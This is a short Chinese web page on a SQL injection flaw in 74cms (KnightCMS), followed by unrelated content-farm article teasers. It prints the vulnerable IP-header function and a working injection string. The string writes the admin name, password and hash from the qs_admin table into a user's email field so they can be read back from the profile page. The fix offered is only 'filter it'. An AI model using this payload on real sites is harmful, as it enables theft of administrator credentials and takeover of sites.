骑士CMS(74cms)sql注入漏洞及修复 -电脑资料

74cms sql注入漏洞

function getip()

{

if(getenv('HTTP_CLIENT_IP')){

$onlineip=getenv('HTTP_CLIENT_IP');

}else if(getenv('HTTP_X_FORWARDED_FOR')){

$onlineip=getenv('HTTP_X_

FORWARDED_FOR');

}else if(getenv('REMOTE_ADDR')){

$onlineip=getenv('REMOTE_ADDR');

}else{

$onlineip=$_SERVER['REMOTE_ADDR'];

}

return $onlineip;

}

ip没过滤

我们可以这样注入

$getinj="zyday1.1.', email=(SELECT concat(admin_name,0x2f,pwd,0x2f,pwd_hash ) FROM qs_admin) where username = '$dpusername'#";

就是把查询到的账号密码赋值给email...接着在会员中心查看个人资料就可以爆账号和密码和hash了

修复:过滤下就行了

相关文章

父母给孩子的初中一封信

在平平淡淡的学习、工作、生活中,大家都尝试过写信吧,书信是写给具体收信人的私人通信。为了让您在写信时更加简单方便,下面是小编精心整理的父母给孩子的初中一封信范文(通用10篇),希望能够帮助到大家。父母...
资料大全2013-06-08
父母给孩子的初中一封信

冬至圆是什么意思

冬至圆,又叫汤圆,是冬至日吃的汤圆专称。冬至圆 - 做法先用优质糯米水浸水磨,沥成团块,再用黑芝麻、猪油(纯板油)、绵白糖、桂花做成馅子(也有用豆沙、白糖),用手搓成圆形,然后放入沸水中煮,待汤团浮起...
资料大全2014-09-05
冬至圆是什么意思

宪法宣誓仪式流程方案

为了确定工作或事情顺利开展,通常需要预先制定一份完整的方案,方案是从目的、要求、方式、方法、进度等方面进行安排的书面计划。那么大家知道方案怎么写才规范吗?下面是小编为大家收集的宪法宣誓仪式流程方案,希...
资料大全2014-08-05
宪法宣誓仪式流程方案

教你如何进行离职面谈

任何一个企业人力资源管理师们都会面临同样一个问题:员工的离职。对待离职者,HR们往往会头疼不已,如果与离职都面谈不顺利,不仅会令影响企业的声誉,而且还会对在职员工形成波动,从而影响企业的稳定。那么,H...
资料大全2012-08-03
教你如何进行离职面谈

如何提高工作效率和质量

工作中我们都在极力追寻高效率的工作,高效率就是最短的时间内高质量的完成工作量。下面小编为大家带来关于如何提高工作效率和质量,欢迎阅读。如何提高工作效率和质量1.把所有工作划分成事务型和思考型两类,分别...
资料大全2011-04-08
如何提高工作效率和质量

蓝莓

蓝莓1这天,太阳公公高高地挂在空中,天气真好!我想,这么好的时光,如果待在家里,真是太可惜了。突然,我想起妈妈以前说过的蓝莓基地,去摘蓝莓?这主意不错!我把这个建议告诉了爸爸妈妈,他们同意了,决定带我...
资料大全2014-02-03
蓝莓